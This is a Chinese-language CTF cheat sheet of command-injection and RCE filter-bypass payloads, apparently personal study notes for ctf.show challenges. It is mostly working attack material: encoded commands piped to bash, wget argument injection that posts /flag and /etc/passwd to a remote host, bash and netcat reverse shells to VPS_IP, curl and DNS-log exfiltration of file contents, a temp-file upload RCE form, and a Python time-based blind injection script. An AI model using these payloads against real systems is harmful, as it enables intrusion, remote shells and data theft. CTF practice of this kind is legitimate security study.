命令执行

 

联合执行

; //分号
| //前一个命令执行的结果做为后一个命令的参数
|| //前面条命令执行失败,才会执行下个命令
& //两条命令都会执行,任务在后台执行
&& // 只有前面条命令成功,才会执行下个命令
%0a //换行
%0d

1>/dev/null 2>&1绕过

代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/ null” 2 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

xargs sed 改源码

参考资料: https://blog.csdn.net/weixin_39731083/article/details/82495950 参考博客:[]

  1. sed -i 可以替换文件内容
  2. xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。
  3. xargs sed 也可以批量替换文件内容

20211217175335

sed -i 's/book/books/g' file #把book替换成 books  #g可省略
find . -name '*.xml' |xargs sed -i 's/hello/world/g'
ls | xargs sed -i "s/die/echo/"

无字母/bin

/???/????64%20????.???
    # /bin/base64 flag.php

/???/???/???2 ???.????
    # /usr/bin/bzip2
    # 然后url访问flag.php.bz2

bypass

空格被过滤

%09
%0a
<
<>
${IFS}
$IFS$9
{cat,flag.php}

文件名被过滤

*
''
""
\
[%00-%ff]

提取关键内容

cat flag.php | grep flag
cat flag.php | awk "NR==n" #n为行号
cat flag.php | awk '/flag/'

cat被过滤

od -c
awk '/flag/' flag.php
nl
    nl
    ${PATH:${#TERM}:${SHLVL:~A}}${PATH:${#RANDOM}:${#SHLVL:~A}}
    ${PATH:~A}${PATH:${#RANDOM}:${#SHLVL:~A}}

/bin/cat
    ${HOME:${#}:${##}}???${HOME:${#}:${##}}??${HOME:${#HOSTNAME}:${#SHLVL}}

xxd
less
ca\t
ca''t
more
rev
    /bin/rev

fmt
base64
    /bin/base64
    code=${HOME:${#}:${##}}???${HOME:${#}:${##}}?????${#RANDOM}

tac
| cat的倒序
tail
php /flag
sh /flag
| 利用报错出flag
paste /flag /etc/passwd
| 可以两个一起读
diff /flag.txt  /etc/passwd
curl file:///flag
sed -n "p" /flag
bzless /flag
bzmore /flag
sort
echo "[base64==]" | base64 -d | bash
echo "[hex]" | xxd -r -p | bash

某个关键字的过滤

1. 反斜线转义 cat fla\g.php
2. 两个单引号做分隔 cat fl''ag.php
3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh
4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash
5. glob通配符 cat f[k-m]ag.php   cat f[l]ag.php
6. ?和*
7. cat f{k..m}ag.php
8. 定义变量做拼接 a=g.php; cat fla$a
9. 内联执行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat

命令拼接

a=who;b=ami;$a$b //执行whoami
a=g.php; cat fla$a //读取flag

wget命令注入

纵横杯2020
-e http_proxy=vps --method=POST --body-file=/home/ctf/flag --header=X-Powered-By:Y1ng \\n127.0.0.1
巅峰极客2021
images?image=a&argv=--post-file=/etc/passwd&argv=--input-file=http://ip:port

无回显

vps 反弹shell

//bash -i >& /dev/tcp/你的ip/9999 0>&1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash
nc VPS_IP 9999 -e /bin/sh
nc VPS_IP 9999 -e /bin/bash

your-shell(curl)

大菜鸡师傅搭建的(ctfshow)

https://your-shell.com/

https://your-shell.com/VPS_IP:9999 | sh

curl带出

requestbin

https://requestbin.net/

curl https://requestbin.net/xxx/?q=`cat flag| grep flag |base64`

https://requestbin.net/r/2ocwwplr?inspect //这个页面查看

//如果没有显示的话
//在bp抓包在数据包里删掉 Cache-Control: max-age=0
//或者去掉?inspect访问,然后再返回上一个页面

dnslog带出

http://www.dnslog.cn/

curl `cat flag| grep flag |base64`.xxx.xx

php setcookie

<?php setcookie('pwd', shell_exec('pwd')); ?>

写入文件

echo '111' > xxx
nl flag.php > xxx
# tee 命令用于读取标准输入的数据,并将其内容输出成文件
ls | tee xxx
cat /flag | tee xxx
tee file1 file2 #复制文件

环境变量

数字

$()

20211212224918

1

${##}
${#?}
${#SHLVL}
<A;echo $?
# | 先执行错误代码, 使$?为1

参考 ctfshow 122

https://blog.csdn.net/Kracxi/article/details/121758047

3 或 4

${#IFS} 一般为3

/

${HOME:${#}:${##}}

无数字字母RCE

临时文件上传

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录(/tmp)下,上传完后会被删除。

PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

ctfshow web56

博客 https://blog.csdn.net/Kracxi/article/details/121766050

 .  相当于source 可以执行文件
` `   可以执行命令
[@-[]   可以表示任意大写字母 在ASCII码中  @ < A   , [  > Z  ,
<!-- 文件上传数据包 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload-POC</title>
</head>
<body>
<form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
    上传的文件在网站目录下
</form>
</body>
</html>

image-20220607224646238

Bash盲注

截取比较

参考 https://www.cnblogs.com/kiko2014551511/p/11531558.html

  1. cat /flag | cut -c (截取第几位)

  2. ${string:start:length} 从字符串左边开始计数

    string为要截取的字符串,start是起始位置(从左边开始,从0开始计数),length是要截取的长度(省略的话表示直到字符串的末尾)

  3. ${string:0-start:length} 从右边开始计数

    同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数

注意点:

从左边开始计数时,起始数字是0; 从右边开始计数时,起始数字是1 不管从哪边计数,截取方向都是从左到右

延时

sleep 5

exp

Y1ng师傅的Bash盲注脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://28084934-32d6-41dc-991a-d2ba850a2fb4.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(50,100):
	for char in alphabet:
		# payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		# data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			# r = requests.post(url, data=data)
			end = int(t.time()) - start
			# print(i,char)
			if end >= 3:
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)